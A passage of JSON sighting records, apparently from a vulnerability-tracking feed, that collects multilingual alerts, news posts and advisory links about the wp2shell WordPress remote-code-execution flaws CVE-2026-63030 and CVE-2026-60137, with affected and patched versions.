"source": "certfr_avis \u00b7 CERTFR-2026-AVI-0904", "record": "CERTFR-2026-AVI-0904", "field": "revisions.0.revision_date"}, {"timestamp": "2026-07-20T00:00:07.389Z", "date_only": false, "value": "2026-07-20T00:00:07.389679Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/94206", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "904af62f-f010-4d4f-97a8-af0ab3df8de3", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wordpress-batch-rce-lab\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a ZenithGenius\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a HTML\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-19 21:36:05\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-63030: WordPress REST batch-endpoint array desync. Mechanism, detection, mitigation, and a safe reproduction lab.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94206"}, {"timestamp": "2026-07-20T00:00:26.057Z", "date_only": false, "value": "2026-07-20T00:00:26.057629Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/HackerNewscyber/3265", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "751620ed-2312-437f-a203-90f885f72c16", "content": "\u2708\ufe0f\u0627\u0646\u062a\u0634\u0627\u0631 \u0627\u06a9\u0633\u067e\u0644\u0648\u06cc\u062a\u200c\u0647\u0627\u06cc \u0639\u0645\u0648\u0645\u06cc wp2shell\u061b \u0645\u06cc\u0644\u06cc\u0648\u0646\u200c\u0647\u0627 \u0648\u0628\u200c\u0633\u0627\u06cc\u062a \u0648\u0631\u062f\u067e\u0631\u0633\u06cc \u062f\u0631 \u0645\u0639\u0631\u0636 \u062a\u0635\u0631\u0641 \u06a9\u0627\u0645\u0644\n\n\ud83c\udfa5 \u0627\u06a9\u0633\u067e\u0644\u0648\u06cc\u062a\u200c\u0647\u0627\u06cc \u0639\u0645\u0648\u0645\u06cc \u0645\u0648\u0633\u0648\u0645 \u0628\u0647 wp2shell \u0628\u0631\u0627\u06cc \u062f\u0648 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0628\u062d\u0631\u0627\u0646\u06cc \u0648\u0631\u062f\u067e\u0631\u0633 \u0628\u0627 \u0634\u0646\u0627\u0633\u0647\u200c\u0647\u0627\u06cc CVE-2026-63030 \u0648 CVE-2026-60137 \u0645\u0646\u062a\u0634\u0631 \u0634\u062f. \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u0646\u062f \u0628\u0627 \u0632\u0646\u062c\u06cc\u0631\u0647\u200c\u0633\u0627\u0632\u06cc \u0627\u06cc\u0646 \u062f\u0648 \u0646\u0642\u0635\u060c \u0628\u062f\u0648\u0646 \u0646\u06cc\u0627\u0632 \u0628\u0647 \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a\u060c \u06a9\u062f \u062f\u0644\u062e\u0648\u0627\u0647 \u062e\u0648\u062f \u0631\u0627 \u0631\u0648\u06cc \u0633\u0631\u0648\u0631 \u0627\u062c\u0631\u0627 \u06a9\u0631\u062f\u0647 \u0648 \u06a9\u0646\u062a\u0631\u0644 \u06a9\u0627\u0645\u0644 \u0648\u0628\u200c\u0633\u0627\u06cc\u062a \u0631\u0627 \u062f\u0631 \u0627\u062e\u062a\u06cc\u0627\u0631 \u0628\u06af\u06cc\u0631\u0646\u062f.\n\n\ud83c\udfa5 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\u200c\u0647\u0627 \u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc 6.9.x \u0648 7.0.x \u0648\u0631\u062f\u067e\u0631\u0633 \u0631\u0627 \u062a\u062d\u062a \u062a\u0623\u062b\u06cc\u0631 \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u062f\u0647\u0646\u062f. \u062a\u06cc\u0645 \u062a\u0648\u0633\u0639\u0647 \u0648\u0631\u062f\u067e\u0631\u0633 \u0627\u0632 \u0645\u062f\u06cc\u0631\u0627\u0646 \u0633\u0627\u06cc\u062a\u200c\u0647\u0627 \u062e\u0648\u0627\u0633\u062a\u0647 \u0627\u0633\u062a \u0647\u0631\u0686\u0647 \u0633\u0631\u06cc\u0639\u200c\u062a\u0631 \u0628\u0647 \u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc 7.0.2 \u06cc\u0627 6.9.5 \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u06a9\u0646\u0646\u062f. \u0628\u0647 \u062f\u0644\u06cc\u0644 \u0634\u062f\u062a \u0627\u06cc\u0646 \u0646\u0642\u0635\u200c\u0647\u0627\u060c \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u0627\u0645\u0646\u06cc\u062a\u06cc \u062e\u0648\u062f\u06a9\u0627\u0631 \u0646\u06cc\u0632 \u0628\u0631\u0627\u06cc \u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631 \u0641\u0639\u0627\u0644 \u0634\u062f\u0647 \u0627\u0633\u062a.\n\n\ud83c\udfa5\u067e\u0698\u0648\u0647\u0634\u06af\u0631\u0627\u0646 \u0634\u0631\u06a9\u062a Searchlight Cyber \u0627\u0639\u0644\u0627\u0645 \u06a9\u0631\u062f\u0647\u200c\u0627\u0646\u062f \u0628\u06cc\u0634 \u0627\u0632 \u06f5\u06f0\u06f0 \u0645\u06cc\u0644\u06cc\u0648\u0646 \u0648\u0628\u200c\u0633\u0627\u06cc\u062a \u0627\u0632 \u0648\u0631\u062f\u067e\u0631\u0633 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f \u0648 \u062f\u0631 \u0635\u0648\u0631\u062a \u0639\u062f\u0645 \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc\u060c \u062f\u0631 \u0645\u0639\u0631\u0636 \u062d\u0645\u0644\u0627\u062a \u0642\u0631\u0627\u0631 \u062f\u0627\u0631\u0646\u062f. \u062f\u0631 \u0635\u0648\u0631\u062a \u0639\u062f\u0645 \u0627\u0645\u06a9\u0627\u0646 \u0646\u0635\u0628 \u0648\u0635\u0644\u0647 \u0627\u0645\u0646\u06cc\u062a\u06cc\u060c \u0628\u0647\u200c\u0637\u0648\u0631 \u0645\u0648\u0642\u062a \u0645\u06cc\u200c\u062a\u0648\u0627\u0646 \u062f\u0633\u062a\u0631\u0633\u06cc \u0646\u0627\u0634\u0646\u0627\u0633 \u0628\u0647 \u0645\u0633\u06cc\u0631 REST API Batch \u0631\u0627 \u0645\u0633\u062f\u0648\u062f \u06a9\u0631\u062f\u060c \u0627\u0645\u0627 \u0627\u06cc\u0646 \u0627\u0642\u062f\u0627\u0645 \u062a\u0646\u0647\u0627 \u06cc\u06a9 \u0631\u0627\u0647\u06a9\u0627\u0631 \u0645\u0648\u0642\u062a \u0645\u062d\u0633\u0648\u0628 \u0645\u06cc\u200c\u0634\u0648\u062f.\n\n\u2708\ufe0f @HackerNewsCyber", "url": "https://t.me/HackerNewscyber/3265"}, {"timestamp": "2026-07-20T00:00:26.523Z", "date_only": false, "value": "2026-07-20T00:00:26.523124Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/94097", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "1605ac62-3bb6-4141-944a-00c573f6ac73", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a ikow\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-19 06:23:55\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nwp2shell \u2014 WordPress Core Pre-Auth RCE (CVE-2026-63030 + CVE-2026-60137). Exploit toolkit + remediation.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94097"}, {"timestamp": "2026-07-20T00:00:26.588Z", "date_only": false, "value": "2026-07-20T00:00:26.588734Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/cyberbannews_ir/22721", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "450f98ae-c66c-4e75-8362-2379773cd554", "content": "\ud83d\udd34 \u0647\u0634\u062f\u0627\u0631 \u0627\u0645\u0646\u06cc\u062a\u06cc\u061b \u062f\u0648 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062e\u0637\u0631\u0646\u0627\u06a9 \u062f\u0631 \u0648\u0631\u062f\u067e\u0631\u0633 \u0628\u0627 \u0627\u0645\u06a9\u0627\u0646 \u0627\u062c\u0631\u0627\u06cc \u06a9\u062f \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631\n\n\ud83d\udd3b \u062f\u0648 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0628\u062d\u0631\u0627\u0646\u06cc \u0628\u0627 \u0634\u0646\u0627\u0633\u0647\u200c\u0647\u0627\u06cc CVE-2026-60137 \u0648 CVE-2026-63030 \u062f\u0631 \u0648\u0631\u062f\u067e\u0631\u0633 \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc \u0634\u062f\u0647\u200c\u0627\u0646\u062f \u06a9\u0647 \u062f\u0631 \u0635\u0648\u0631\u062a \u0633\u0648\u0621\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0647\u0645\u0632\u0645\u0627\u0646\u060c \u0627\u0645\u06a9\u0627\u0646 \u0627\u062c\u0631\u0627\u06cc \u06a9\u062f \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 (RCE) \u0631\u0627 \u0628\u0631\u0627\u06cc \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0641\u0631\u0627\u0647\u0645 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f.\n\n\ud83d\udd3b \u0628\u0631\u0627\u06cc \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\u200c\u0647\u0627 \u0646\u0645\u0648\u0646\u0647 \u06a9\u062f \u0633\u0648\u0621\u0627\u0633\u062a\u0641\u0627\u062f\u0647 (PoC) \u0628\u0627 \u0646\u0627\u0645 wp2shell \u0646\u06cc\u0632 \u0628\u0647\u200c\u0635\u0648\u0631\u062a \u0639\u0645\u0648\u0645\u06cc \u0645\u0646\u062a\u0634\u0631 \u0634\u062f\u0647 \u0648 \u062e\u0637\u0631 \u062d\u0645\u0644\u0627\u062a \u0631\u0627 \u0627\u0641\u0632\u0627\u06cc\u0634 \u062f\u0627\u062f\u0647 \u0627\u0633\u062a.\n\n\ud83d\udd39 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\u200c\u0647\u0627 \u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc 6.9.5 \u0648 7.0.2 \u0648\u0631\u062f\u067e\u0631\u0633 \u0631\u0627 \u062a\u062d\u062a \u062a\u0623\u062b\u06cc\u0631 \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u062f\u0647\u0646\u062f \u0648 \u0628\u0647 \u0645\u062f\u06cc\u0631\u0627\u0646 \u0648\u0628\u200c\u0633\u0627\u06cc\u062a\u200c\u0647\u0627 \u062a\u0648\u0635\u06cc\u0647 \u0634\u062f\u0647 \u0627\u0633\u062a \u0647\u0631\u0686\u0647 \u0633\u0631\u06cc\u0639\u200c\u062a\u0631 \u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc \u0627\u0645\u0646\u06cc\u062a\u06cc \u062c\u062f\u06cc\u062f \u0631\u0627 \u0646\u0635\u0628 \u06a9\u0646\u0646\u062f.\n\n#\u062a\u0647\u062f\u06cc\u062f_\u0633\u0627\u06cc\u0628\u0631\u06cc #\u0622\u0633\u06cc\u0628_\u067e\u0630\u06cc\u0631\u06cc #\u0648\u0631\u062f\u067e\u0631\u0633\n\n\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\n\ud83d\udd39\ud83d\udd39 @cyberbannews_ir", "url": "https://t.me/cyberbannews_ir/22721"}, {"timestamp": "2026-07-20T00:24:33.014Z", "date_only": false, "value": "2026-07-20T00:24:33.014201Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/r-netsec.bsky.social/post/3mqzzr45yny2b", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "21540ead-a72c-4736-8e1a-580329d474d6", "content": "wp2shell: a defender\u2019s guide (CVE-2026-63030 + CVE-2026-60137) with a list of forensic artifacts, a compromise scanner WordPress plugin and a free Chrome/Edge/Firefox browser extension to in-browser check if a website has been patched.", "url": "https://bsky.app/profile/r-netsec.bsky.social/post/3mqzzr45yny2b"}, {"timestamp": "2026-07-20T00:35:46.351Z", "date_only": false, "value": "2026-07-20T00:35:46.351397Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/arc-codex.com/post/3mr22f6bkdv2x", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "8267517a-ea9c-4405-beb9-60178effe66d", "content": "CVE-2026-63030: wp2shell a Critical Remote Code Execution Vulnerability in WordPress Core\n\n", "url": "https://bsky.app/profile/arc-codex.com/post/3mr22f6bkdv2x"}, {"timestamp": "2026-07-20T03:00:03.749Z", "date_only": false, "value": "2026-07-20T03:00:03.749483Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/94233", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "cce26796-c2d2-40e8-a2da-a8a63227c386", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-63030\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a administrator-01001\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-20 01:38:20\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nProof-of-concept exploit for CVE-2026-63030, a pre-authentication vulnerability in WordPress (versions 6.9.0 through 7.0.1).\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94233"}, {"timestamp": "2026-07-20T03:00:03.801Z", "date_only": false, "value": "2026-07-20T03:00:03.801745Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/94222", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "f07aa55c-7ead-496a-a6d4-4bbc2d0586d7", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wordpress-skelersecurity-core-security-CVE-2026-63030\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a skelersecurity\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-19 19:21:29\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nThe wp2shell vulnerability chain represents one of the most significant WordPress Core security issues in recent years. Because exploitation begins with an unauthenticated request and can ultimately result in Remote Code Execution, organizations should treat remediation as an emergency.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94222"}, {"timestamp": "2026-07-20T03:37:16.916Z", "date_only": false, "value": "2026-07-20T03:37:16.916982Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/newssecia.bsky.social/post/3mr2ejqoefd2s", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "f2059ab0-47e6-452e-b6f1-4327e77e673d", "content": "\ud83e\udd16 CVE-2026-63030 (CVSS 9.8): Critical pre-auth vulnerability in WordPress 6.9.x/7.0.x. REST API batch route confusion + SQLi. PoC published. Update to 6.9.5/7.0.2.\nhttps://nvd.nist.gov/vuln/detail/CVE-2026-63030", "url": "https://bsky.app/profile/newssecia.bsky.social/post/3mr2ejqoefd2s"}, {"timestamp": "2026-07-20T03:53:22.085Z", "date_only": false, "value": "2026-07-20T03:53:22.085041Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/ahmandonk.bsky.social/post/3mr2fgj43k42m", "record": "cve-2026-63030", "field": "creation_timestamp", "uuid": "dd0a9ee4-0d3e-4128-aac6-4aa257e401af", "content": "\ud83d\udcf0 Eksploitasi Publik wp2shell Dirilis, Admin WordPress Diminta Patch Segera\n\n\ud83d\udc49 Baca artikel lengkap di sini: https://ahmandonk.com/2026/07/20/wp2shell-wordpress-rce-public-exploit-patch/\n\n#beritaTeknologi #cve-2026-60137 #cve-2026-63030 #cybersecurity #exploitChain #keamananSiber #publicPoc #r", "url": "https://bsky.app/profile/ahmandonk.bsky.social/post/3mr2fgj43k42m"}, {"timestamp": "2026-07-20T04:30:25.341Z", "date_only": false, "value": "2026-07-20T04:30:25.341929Z", "kind": "sighting", "label": "Seen", "source": "https://infosec.exchange/users/offseq/statuses/116950422284172751", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "7f3026cd-b8bc-4215-9c6c-f781da9996b8", "content": "wp2shell (CVE-2026-63030, CVE-2026-60137) allows unauth RCE in WordPress core (HIGH severity). Active exploitation reported. Patch to 6.9.5, 7.0.2, or 6.8.6. Block REST API batch endpoint if needed. Details: https://radar.offseq.com/threat/wp2shell-critical-wordpress-core-vulnerability-enabling-unauthenticated-rce-detection-and-mitigation-fccca7b8b6429718 #OffSeq #WordPress #RCE #Vulnerability", "url": "https://infosec.exchange/users/offseq/statuses/116950422284172751"}, {"timestamp": "2026-07-20T04:45:04.126Z", "date_only": false, "value": "2026-07-20T04:45:04.126725Z", "kind": "sighting", "label": "Seen", "source": "https://www.hkcert.org/security-bulletin/wordpress-multiple-vulnerabilities_20260720", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "494950e0-6c4c-4665-8f0e-e906ed7b1a12", "url": "https://www.hkcert.org/security-bulletin/wordpress-multiple-vulnerabilities_20260720"}, {"timestamp": "2026-07-20T04:50:06.094Z", "date_only": false, "value": "2026-07-20T04:50:06.094946Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/opsmatters.com/post/3mr2ilwyupj2i", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "86f1a457-c957-4488-84c8-4a58fe9caa6a", "content": "The latest update for #CyCognito includes \"Emerging Threat: (CVE-2026-63030, CVE-2026-60137) #WordPress Core Unauthenticated RCE via wp2shell\".\n\n#cybersecurity #AttackSurfaceManagement #EASM https://opsmtrs.com/44Srq0X", "url": "https://bsky.app/profile/opsmatters.com/post/3mr2ilwyupj2i"}, {"timestamp": "2026-07-20T05:03:42.360Z", "date_only": false, "value": "2026-07-20T05:03:42.360298Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/hermes71.bsky.social/post/3mr2jeblifv2p", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "93639408-2e9e-4f8f-9cd5-7138a05f9010", "content": "Daily IT Security Digest \u2014 2026-07-20\n# Daily IT Security Digest \u2014 2026-07-20\n\n1. **WordPress RCE (wp2shell) \u2014 Active Exploitation of Critical Flaws**\n   CVE-2026-63030 and CVE-2026-60137 represent unauthenticated remote code execution vulnerabilities in WordPress core. Active exploitation has been", "url": "https://bsky.app/profile/hermes71.bsky.social/post/3mr2jeblifv2p"}, {"timestamp": "2026-07-20T05:09:39.460Z", "date_only": false, "value": "2026-07-20T05:09:39.460828Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mr2jovvx3226", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "733ec0a6-059a-4683-a6fe-91ebbae3237c", "content": "Top 3 CVE for last 7 days:\nCVE-2026-58532: 47 interactions\nCVE-2026-63030: 30 interactions\nCVE-2026-60137: 23 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-63030: 13 interactions\nCVE-2026-60137: 11 interactions\nCVE-2026-16096: 3 interactions\n", "url": "https://bsky.app/profile/pmloik.bsky.social/post/3mr2jovvx3226"}, {"timestamp": "2026-07-20T05:36:33.310Z", "date_only": false, "value": "2026-07-20T05:36:33.310547Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/sirchamallow.bsky.social/post/3mr2l6w7glk2t", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "1e143ff0-a997-4d86-8b79-ee4eeaa3b7a8", "content": "\ud83d\udd34 #WP2Shell combine deux failles critiques du c\u0153ur WordPress (CVE-2026-63030 et CVE-2026-60137) pour ex\u00e9cuter du code \u00e0 distance sans compte ni plugin, affectant les versions 6.9.0 \u00e0 6.9.4 et 7.0.0 \u00e0 7.0.1.\n\nkorben.info/wp2shell-exp...", "url": "https://bsky.app/profile/sirchamallow.bsky.social/post/3mr2l6w7glk2t"}, {"timestamp": "2026-07-20T06:00:03.387Z", "date_only": false, "value": "2026-07-20T06:00:03.387216Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/94250", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "6cce7d18-2662-4bad-9988-9fb24417413e", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a EXPLOIT-CVE-2026-63030\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a joaovicdev\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-20 04:59:00\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94250"}, {"timestamp": "2026-07-20T06:22:34.839Z", "date_only": false, "value": "2026-07-20T06:22:34.839384Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/vulndex.at/post/3mr2nr6vyac2q", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "c53ad842-438f-4e83-9946-9fece8eb6ba0", "content": "WP2Shell: Die Kombination zweier CVEs (CVE-2026-63030 und CVE-2026-60137) erm\u00f6glichen eine Remote Code Execution.  Betroffen sind Versionen 6.9.0 < 6.9.5 und 7.0.0 < 7.0.2. Updates sind verf\u00fcgbar. Updates auf Version 6.9.5 oder 7.0.2 verf\u00fcgbar.\n\nAktuelle Trending CVE unter vulndex.at/intel/trendi...", "url": "https://bsky.app/profile/vulndex.at/post/3mr2nr6vyac2q"}, {"timestamp": "2026-07-20T06:24:58.847Z", "date_only": false, "value": "2026-07-20T06:24:58.847620Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/vulndex.at/post/3mr2nvjhwxc2q", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "3ce83437-9e5c-4534-be09-2695e1826033", "content": "WP2Shell: Die Kombination zweier CVEs (CVE-2026-63030 und CVE-2026-60137) erm\u00f6glichen eine Remote Code Execution. Betroffen sind Versionen 6.9.0 < 6.9.5 und 7.0.0 < 7.0.2. Updates sind verf\u00fcgbar.\n\nAktuelle Trending CVE unter vulndex.at/intel/trendi...\n\n#WordPress #CVE #RCE", "url": "https://bsky.app/profile/vulndex.at/post/3mr2nvjhwxc2q"}, {"timestamp": "2026-07-20T06:42:15.927Z", "date_only": false, "value": "2026-07-20T06:42:15.927527Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/kerzinger.at/post/3mr2ouhi2ms2j", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "dadb017f-1855-4a66-929f-a221c70af48a", "content": "WP2Shell: Am Freitagabend wurden zwei Schwachstellen (CVE-2026-60137 [CVSS: 9,1] und CVE-2026-63030 [CVSS: 9,8]) ver\u00f6ffentlicht. \u00dcber diese k\u00f6nnen bei verwundbaren WordPress-Installationen Remote Code Executions ausgef\u00fchrt werden. WordPress-Updates stehen bereits zur Verf\u00fcgung.", "url": "https://bsky.app/profile/kerzinger.at/post/3mr2ouhi2ms2j"}, {"timestamp": "2026-07-20T06:53:46.763Z", "date_only": false, "value": "2026-07-20T06:53:46.763960Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mr2pj3m7zs2m", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "9def55bf-3d46-4a8c-8f20-4b130d755a29", "content": "CVE-2026-60137 and CVE-2026-63030: WP2Shell Vulnerabilities Are Live Threats #CVE2026 #WordPress #CyberSecurity", "url": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mr2pj3m7zs2m"}, {"timestamp": "2026-07-20T06:53:49.480Z", "date_only": false, "value": "2026-07-20T06:53:49.480655Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mr2pj6gscq2g", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "2753f0ec-3e5c-4041-be06-fe0325448820", "content": "CVE-2026-60137 and CVE-2026-63030: WordPress Vulnerabilities Demand Immediate Attention #WordPress #CVE2026 #Cybersecurity", "url": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mr2pj6gscq2g"}, {"timestamp": "2026-07-20T06:54:03.786Z", "date_only": false, "value": "2026-07-20T06:54:03.786504Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mr2pjlnz6g2y", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "52f609bc-2af5-4129-876e-9268d25b4d36", "content": "CVE-2026-60137 and CVE-2026-63030: Patch Efficacy vs. User Responsibility #CVE2026 #WordPressSecurity #CyberSecurity", "url": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mr2pjlnz6g2y"}, {"timestamp": "2026-07-20T08:00:04.529Z", "date_only": false, "value": "2026-07-20T08:00:04.529471Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/94260", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "7feb581a-da31-4a60-9d6e-4b39db2b3d46", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell-checker\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a 0xjessie21\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-20 06:44:22\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nWordPress Core Unauthenticated RCE (CVE-2026-63030, CVE-2026-60137)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94260"}, {"timestamp": "2026-07-20T08:00:04.574Z", "date_only": false, "value": "2026-07-20T08:00:04.574866Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/94261", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": 